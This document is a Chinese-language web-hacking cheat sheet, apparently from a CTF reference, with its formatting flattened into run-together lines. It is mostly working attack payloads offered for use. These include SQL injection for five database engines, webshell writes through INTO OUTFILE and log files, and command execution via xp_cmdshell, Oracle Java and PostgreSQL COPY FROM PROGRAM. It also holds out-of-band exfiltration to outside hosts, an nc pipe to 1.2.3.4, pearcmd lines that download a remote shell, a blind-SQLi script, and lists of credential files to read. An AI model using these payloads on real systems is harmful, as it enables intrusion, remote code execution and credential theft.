load_file('//kaibro.tw@9478/meow.php') / load_file('\\\\kaibro.tw@9478/meow.php')
@ 指定 Port)File-write
INTO DUMPFILE
INTO OUTFILE
UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"SELECT file_priv FROM mysql.usersecure_file_priv=E:\
secure_file_priv=null
SET global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
IF語句
SELECT IF (1=1,'true','false')Hex
SELECT X'5061756c'; => paulSELECT 0x5061756c; => paulSELECT 0x5061756c+0 => 1348564332SELECT load_file(0x2F6574632F706173737764);
' => \')'admin' => CHAR(97, 100, 109, 105, 110)註解:
#--/**/
*/ 可以閉合前面多個 /*/*! 50001 select * from test */
SELECT /*!32302 1/0, */ 1 FROM tablename;
information_schema
Stacking Query
其它:
select group_concat(username) from users; 一次返回所有使用者名SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLESgreatest(a, b)返回 a, b 中最大的greatest(1, 2)=2
greatest(1, 2)=1
greatest(1, 2) between 1 and 3
SELECT 'abc' regexp '.*'
*_ci case insensitive collation 不區分大小寫*_cs case sensitive collation 區分大小寫*_bin binary case sensitive collation 區分大小寫Union Based
union select 1,2,3...Norder by N 找最後一個成功的 NAND 1=2 UNION SELECT 1, 2, password FROM admin--+LIMIT N, M 跳過前 N 筆,抓 M 筆union select 1,2,schema_name from information_schema.schemata limit 1,1union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1SELECT CONCAT(user, ":" ,password) FROM mysql.user;Error Based
#define ERRMSGSIZE (512)SELECT ~0 => 18446744073709551615SELECT ~0 + 1 => ERRORSELECT exp(709) => 8.218407461554972e307SELECT exp(710) => ERRORSELECT exp(~(SELECT * FROM (SELECT user())x));ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'select extractvalue(1,concat(0x7e,(select @@version),0x7e));ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'select updatexml(1,concat(0x7e,(select @@version),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'select ST_LatFromGeoHash(version());select ST_LongFromGeoHash(version());select GTID_SUBSET(version(),1);select GTID_SUBTRACT(version(),1);select ST_PointFromGeoHash(version(),1);information_schema 等關鍵字時,可以用下面方法爆庫名
select 1,2,3 from users where 1=abc();
ERROR 1305 (42000): FUNCTION fl4g.abc does not existselect 1,2,3 from users where Polygon(id);select 1,2,3 from users where linestring(id);
ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsingselect 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
ERROR 1060 (42S21): Duplicate column name 'id'select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
ERROR 1060 (42S21): Duplicate column name 'username'Blind Based (Time/Boolean)
id=87 and length(user())>0id=87 and length(user())>100id=87 and ascii(mid(user(),1,1))>100id=87 or ((select user()) regexp binary '^[a-z]')id=87 and if(length(user())>0, sleep(10), 1)=1id=87 and if(length(user())>100, sleep(10), 1)=1id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1Out of Bnad
select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata繞過空白檢查
id=-1/**/UNION/**/SELECT/**/1,2,3id=-1%09UNION%0DSELECT%0A1,2,3id=(-1)UNION(SELECT(1),2,3)寬字節注入
addslashes() 會讓 ' 變 \'GBK 編碼中,中文字用兩個 Bytes 表示
0x5c(\)%df' => %df\' => 運' (成功逃逸)Order by注入
asc、desc 簡單判斷
?sort=1 asc?sort=1 desc?order=IF(1=1, username, password)?order=IF(1=1,1,(select 1 union select 2)) 正確?order=IF(1=2,1,(select 1 union select 2)) 錯誤?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常?order=IF(1=2,1,(select 1 from information_schema.tables)) 錯誤?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒group by with rollup
' or 1=1 group by pwd with rollup limit 1 offset 2#將字串轉成純數字
conv(hex(YOUR_DATA), 16, 10)unhex(conv(DEC_DATA,10,16))不使用逗號
LIMIT N, M => LIMIT M OFFSET Nmid(user(), 1, 1) => mid(user() from 1 for 1)UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)快速查找帶關鍵字的表
select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%'); 不知列名、不能訪問 information_schema 爆數據
select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)xinnodb
select table_name from mysql.innodb_table_stats where database_name=資料庫名;sys
sys.statements_with_full_table_scansselect query from sys.statements_with_full_table_scansBypass WAF
select password => SelEcT password (大小寫)select password => select/**/password (繞空白)select password => s%65lect%20password (URLencode)select password => select(password) (繞空白)select password => select%0apassword (繞空白)
select password from admin => select password /*!from*/ admin (MySQL註解)information_schema.schemata => `information_schema`.schemata (繞關鍵字/空白)
select xxx from`information_schema`.schemataselect pass from user where id='admin' => select pass from user where id=0x61646d696e (繞引號)
id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))?id=0e2union select 1,2,3 (科學記號)
?id=1union select 1,2,3會爛?id=0e1union(select~1,2,3) (~)?id=.1union select 1,2,3 (點)WHERE => HAVING (繞關鍵字)AND => && (繞關鍵字)
OR => ||= => LIKEa = 'b' => not a > 'b' and not a < 'b'> 10 => not between 0 and 10LIMIT 0,1 => LIMIT 1 OFFSET 0 (繞逗號)
substr('kaibro',1,1) => substr('kaibro' from 1 for 1)phpMyAdmin
select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"set global general_log = "ON";set global general_log_file = "/var/www/html/shell.php";select "<?php phpinfo();?>";set GLOBAL slow_query_log_file='/var/www/html/shell.php';set GLOBAL slow_query_log=on;select '<?php phpinfo();?>' from mysql.db where sleep(10);CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';/chk_rel.php?fixall_pmadb=1&db=fooINSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop';/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1index.php?target=db_sql.php%253f/../../../../../../windows/system.iniindex.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu
phpMyAdmin 得到preg_replace RCEgis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00 (需修改token)'localhost'@'@"子字串:
SUBSTRING("abc", 1, 1) => 'a'Ascii function
ascii('A') => 65 Char function
char(65) => 'a'Concatenation
+'a'+'b' => 'ab'Delay function
WAITFOR DELAY '0:0:10'空白字元
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20IF 語句
IF (1=1) SELECT 'true' ELSE SELECT 'false'註解:
--/**/TOP
LIMIT N, M 的用法SELECT TOP 87 * FROM xxx 取最前面 87 筆SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87其它:
查詢用戶
select name, loginame from master..syslogins, master..sysprocesses查用戶密碼
select user,password from master.dbo.syslogins當前角色是否為資料庫管理員
SELECT is_srvrolemember('sysadmin')當前角色是否為db_owner
SELECT IS_MEMBER('db_owner')爆DB name
DB_NAME(N)UNION SELECT NULL,DB_NAME(N),NULL--UNION SELECT NULL,name,NULL FROM master ..sysdatabases--SELECT catalog_name FROM information_schema.schemata1=(select name from master.dbo.sysdatabases where dbid=5)爆表名
SELECT table_catalog, table_name FROM information_schema.tablesSELECT name FROM sysobjects WHERE xtype='U'ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--爆column
SELECT table_catalog, table_name, column_name FROM information_schema.columnsSELECT name FROM syscolumns WHERE id=object_id('news')ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')一次性獲取全部資料
select quotename(name) from master..sysdatabases FOR XML PATH('')select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json autoUnion Based
NULL來避免Error Based
id=1 and user=0Out of Band
declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)
fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)
fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)
判斷是否站庫分離
select host_name();select @@servername;讀檔
select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)xp_cmdshell
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
執行 command
exec xp_cmdshell 'whoami'關閉xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure'xp_cmdshell', 0;
RECONFIGURE;
快速查找帶關鍵字的表
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');繞 WAF
1%C2%85union%C2%85select%C2%A0null,@@version,null--0eunion+select+null,@@version,null--s%u0065lect 會被解析為 selectSELECT 語句必須包含 FROM
dual 表SUBSTR('abc', 1, 1) => 'a'00 0A 0D 0C 09 20IF condition THEN true-part [ELSE false-part] END IF--/**/select table_name from (select rownum no, table_name from all_tables) where no=1SYS.DATABASE_NAME
USER
sys.login_userSELECT role FROM session_roles
SELECT privilege FROM user_sys_privs
SELECT privilege FROM role_sys_privs
SELECT privilege FROM session_privs
SELECT banner FROM v$version where rownum=1
SELECT host_name FROM v$instance;
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'
utl_inaddr.get_host_address
select utl_inaddr.get_host_name('87.87.87.87') from dual
dba_tables
user_tables
SELECT DISTINCT OWNER FROM ALL_TABLESSELECT OWNER, TABLE_NAME FROM ALL_TABLESSELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNSNULL 來避免錯誤UNION SELECT 1, 'aa', null FROM dualdbms_pipe.receive_message(('a'),10)
SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dualCTXSYS.DRITHSX.SN
SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1utl_inaddr.get_host_name
and 1=utl_inaddr.get_host_name((SQL in HERE))dbms_xdb_version.checkin
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not nulldbms_xdb_version.makeversioned
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not nulldbms_xdb_version.uncheckout
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not nulldbms_utility.sqlid_to_sqlhash
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not nullUTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1SYS.DBMS_LDAP.INIT()utl_inaddr.get_host_address()HTTPURITYPE
SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;extractvalue() XXE
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dualselect username from all_users
select name, password from sys.user$select username,password,account_status from dba_usersCREATE JAVA SOURCE NAMED "xxxx" AS <Java Code>create or replace library lib_evil as '/home/oracle/evil.so';create or replace function cmd(str varchar2) return varchar2 as language c library lib_evil name "cmd";select cmd('whoami') from dual;dbms_java.runjava
dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')DBMS_JAVA_TEST.FUNCALL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/bash','-c','/bin/ls|/usr/bin/nc 1.2.3.4 1234') FROM DUAL;DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
-- 提權
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
-- 建立java command
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual
-- 賦予java執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
-- 創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
-- 賦予函數執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual
-- 執行指令
select sys.cmd('cmd.exe /c whoami') from dual
dbms_xmlquery.newcontext
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';
select LINXRUNCMD('whoami') from dual;
DBMS_XMLGEN.getXML('select user from dual')substr(“abc",1,1) => 'a'unicode('d') => 100length('ab') => 2||'a' || 'b' => 'ab'randomblob(100000000)0A 0D 0C 09 20ifCase When ... Then ... 代替case when (條件) then ... else ... end--SELECT name FROM sqlite_master WHERE type='table'SELECT sql FROM sqlite_master WHERE type='table'sqlite_version()\' 跳脫單引號[] 神奇用法
CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;
# encoding: UTF-8
# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼
require 'net/http'
require 'uri'
$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''
(1..100).each do |i|
l = 48
r = 122
while(l <= r)
#puts "left: #{l}, right: #{r}"
break if l == r
mid = ((l + r) / 2)
$query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
if res.body.include? 'document.location'
l = mid + 1
else
r = mid
end
end
$ans += l.chr
puts $ans
end
substr("abc", 1, 1) => 'a'ascii('x') => 120chr(65) => A||'a' || 'b' => 'ab'pg_sleep(5)GENERATE_SERIES(1, 1000000)repeat('a', 10000000)0A 0D 0C 09 20encode('123\\000\\001', 'base64') => MTIzAAE=decode('MTIzAAE=', 'base64') => 123\000\001limit a offset b 略過前 b 筆,抓出 a 筆出來--/**/SELECT $$This is a string$$SELECT datname FROM pg_databaseSELECT tablename FROM pg_tables WHERE schemaname='dbname'SELECT column_name FROM information_schema.columns WHERE table_name='admin'array_to_string(array(select userid||':'||password from users),',')SELECT * FROM pg_roles;SELECT usename, passwd FROM pg_shadowCOPY TO/FROM PROGRAMpg_read_server_files 群組的 user 可以執行任意指令DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;select system('id');CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;SELECT sys_eval("id");SELECT usename FROM pg_user;cast(count(*) as text)md5('abc')replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXefpg_read_file(filename, offset, length)
pg_ls_dir(dirname)
pg_query() 可以多語句執行lo_import(), lo_get() 讀檔
select cast(lo_import('/var/lib/postgresql/data/secret') as text) => 18440select cast(lo_get(18440) as text) => secret_here%00, %16 來達到類似效果TOP, LAST 取代'UNION SELECT TOP 5 xxx FROM yyy%00'AND (SELECT TOP 1 'xxx' FROM table)%00FROM& (%26)+ (%2B)'UNION SELECT 'aa' %2b 'bb' FROM table%00ASC()'UNION SELECT ASC('A') FROM table%00Mid()Mid('admin',1,1)IFF(condition, true, false)'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00\' 跳脫'' 跳脫'abc\''or 1=(SELECT 1)--'
query_to_xml('Arbitary SQL')dbms_xmlgen.getxml('SQL')ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR 在 MySQL 層就會被解成單引號 (在 HQL 層則不是)/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '-- '='a
/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '[shit]'='a/a'*length('a')*'[shit]'-- [shit]org.apache.batik.util.XMLConstants.XML_CHAR_APOScom.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTEjodd.util.StringPool.SINGLE_QUOTEch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHARcz.vutbr.web.csskit.OutputUtil.STRING_OPENINGcom.sun.java.help.impl.DocPConst.QUOTEorg.eclipse.help.internal.webapp.utils.JSonHelper.QUOTEorg.apache.logging.log4j.util.Chars.QUOTEHQL injection example (pwn2win 2017)
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)
ERROR: could not stat file "flag": No such file or directoryorder=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)
ERROR: could not stat file "secret": No such file or directoryorder=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";276f722736c95d99e921722cf9ed621c'or'6<trash>id=1&id=2&id=3
id=1,2,3id=1,2,3id=3python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
--dbs-D dbname --tables-D dbname -T tbname --columns-D dbname -T tbname --dump
--start=1--stop=5566--is-dba--passwords--privileges--os-shell--sql-shell--file-read=/etc/passwd--time-sec=10--random-agent--threads=10--level=3
--technique
BEUSTQ--cookie="abc=55667788"--tor --check-tor --tor-type=SOCKS5 --tor-port=9050Common Payload
./index.php././index.php.//index.php../../../../../../etc/passwd../../../../../../etc/passwd%00
....//....//....//....//etc/passwd%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%252e/%252e/etc/passwdNN/NN/NN/etc/passwd.+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwdstatic\..\..\..\..\..\..\..\..\etc\passwdConfig
/usr/local/apache2/conf/httpd.conf/usr/local/etc/apache2/httpd.conf/usr/local/nginx/conf/nginx.conf/etc/apache2/sites-available/000-default.conf/etc/apache2/apache2.conf/etc/apache2/httpd.conf/etc/httpd/conf/httpd.conf/etc/nginx/conf.d/default.conf/etc/nginx/nginx.conf/etc/nginx/sites-enabled/default/etc/nginx/sites-enabled/default.conf/etc/mysql/my.cnf/etc/resolv.conf/etc/named.conf/etc/rsyslog.conf/etc/samba/smb.conf/etc/openldap/slapd.conf/etc/mongod.conf/etc/krb5.conf~/.tmux.conf~/.mongorc.js$TOMCAT_HOME/conf/tomcat-users.xml$TOMCAT_HOME/conf/server.xmlLog
/var/log/apache2/error.log/var/log/httpd/access_log/var/log/mail.log/var/log/auth.log/var/log/messages/var/log/secure/var/log/sshd.log/var/log/mysqld.log/var/log/mongodb/mongod.log.pm2/pm2.log$TOMCAT_HOME/logs/catalina.outHistory
.history.bash_history.sh_history.zsh_history.viminfo.php_history.mysql_history.dbshell.histfile.node_repl_history.python_history.scapy_history.sqlite_history.psql_history.rediscli_history.coffee_history.lesshst.wget-hsts.config/fish/fish_history.local/share/fish/fish_history.ipython/profile_default/history.sqlite其他
/proc/self/cmdline/proc/self/fd/[0-9]*/proc/self/environ/proc/net/fib_trie/proc/mounts/proc/net/arp/proc/net/tcp/proc/sched_debug.htaccess~/.bashrc~/.bash_profile~/.bash_logout~/.zshrc~/.aws/config~/.aws/credentials~/.boto~/.s3cfg~/.gitconfig~/.config/git/config~/.git-credentials~/.env/etc/passwd/etc/shadow/etc/hosts/etc/rc.d/rc.local/etc/boto.cfg/root/.ssh/id_rsa/root/.ssh/authorized_keys/root/.ssh/known_hosts/root/.ssh/config/etc/sysconfig/network-scripts/ifcfg-eth0/etc/exports/etc/crontab/var/spool/cron/root/var/spool/cron/crontabs/root/var/mail/<username>C:/Windows/win.iniC:/boot.iniC:/apache/logs/access.log../../../../../../../../../boot.ini/.......................C:\Windows\System32\drivers\etc\hostsC:\WINDOWS\System32\Config\SAMC:/WINDOWS/repair/samC:/WINDOWS/repair/system%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\RegBack\system%WINDIR%\system32\config\AppEvent.Evt%WINDIR%\system32\config\SecEvent.Evt%WINDIR%\iis[version].log%WINDIR%\debug\NetSetup.log%SYSTEMDRIVE%\autoexec.batC:\Documents and Settings\All Users\Application Data\Git\configC:\ProgramData\Git\config$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtC:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.configC:\Windows\System32\inetsrv\config\ApplicationHost.configC:\WINDOWS\debug\NetSetup.logC:\WINDOWS\pfro.logC:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config../../../../proc/self/environ
php://filter/convert.base64-encode/resource=index.phpphp://filter/convert.base64-decode/resource=index.phpphp://filter/read=string.rot13/resource=index.phpphp://filter/zlib.deflate/resource=index.phpphp://filter/zlib.inflate/resource=index.phpphp://filter/convert.quoted-printable-encode/resource=index.phpphp://filter/read=string.strip_tags/resource=php://inputphp://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.phpphp://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php?page=php://input
<?php system("net user"); ?>url_allow_include,5.4.0 直接廢除PrivateTmp,無法利用sess_{PHPSESSID} 中session.upload_progress
session.upload_progress.enabled 開啟,可以 POST 在 $_SESSION 中添加資料 (sess_{PHPSESSID})session.upload_progress.cleanup=on 時,可以透過 Race conditionupload_progress_,結尾也有多餘資料,導致上傳 zip 正常狀況無法解析register_argc_argv/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php/?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php/?+download+https://kaibro.tw/shell.php+&fike=/usr/local/lib/php/pearcmd.php/?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php
/?+install+--force+--installroot+/tmp/wtf+http://kaibro.tw/KaibroShell.tgz+?&file=/usr/local/lib/php/pearcmd.php/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&/?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt當 Request body 過大或是 fastcgi server response 過大,超過 buffer size 時,其內容會保存到暫存檔中 (reference)
/var/lib/nginx/body/, /var/lib/nginx/fastcgi/ 下建立暫存檔/proc/<nginx worker pid>/fd/<fd> 來取得被刪除的檔案內容
include() 會將 fd 路徑解析成 /var/lib/nginx/body/0000001337 (deleted) 格式,導致引入失敗/proc/self/fd/34/../../../34/fd/15/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15Example
?file=data://text/plain,<?php phpinfo()?>?file=data:text/plain,<?php phpinfo()?>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=?file=zip://myzip.zip#php.jpg <?php
$p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP);
$x = file_get_contents('./a.php');
$p->addFromString('b.jpg', $x);
?>
?file=phar://phartest.zip/b.jpg.shtml, .shtm, .stm<!--#exec cmd="command"--><!--#include file="../../web.config"-->大小寫繞過
空格 / 點 / Null 繞過
php3457
asp
aspx
jsp
.htaccess
<FilesMatch "kai">
SetHandler application/x-httpd-php
</FilesMatch>
ErrorDocument 404 %{file:/etc/passwd}redirect permanent "/%{BASE64:%{FILE:/etc/passwd}}".user.ini
PHP_INI_PERDIR 和 PHP_INI_USER 的設定auto_prepend_file=test.jpg文件解析漏洞
NTFS ADS
test.php:a.jpg
test.phptest.php::$DATA
test.phptest.php::$INDEX_ALLOCATION
test.php 資料夾test.php::$DATA.jpg
0.jpgtest.php::$DATA\aaa.jpg
aaa.jpgFF D8 FF E0 00 10 4A 46 49 4647 49 36 38 39 6189 50 4E 47filename 前後塞 %20, %09, %0a, %0b, %0c, %0d, %1c, %1d, %1e, %1f
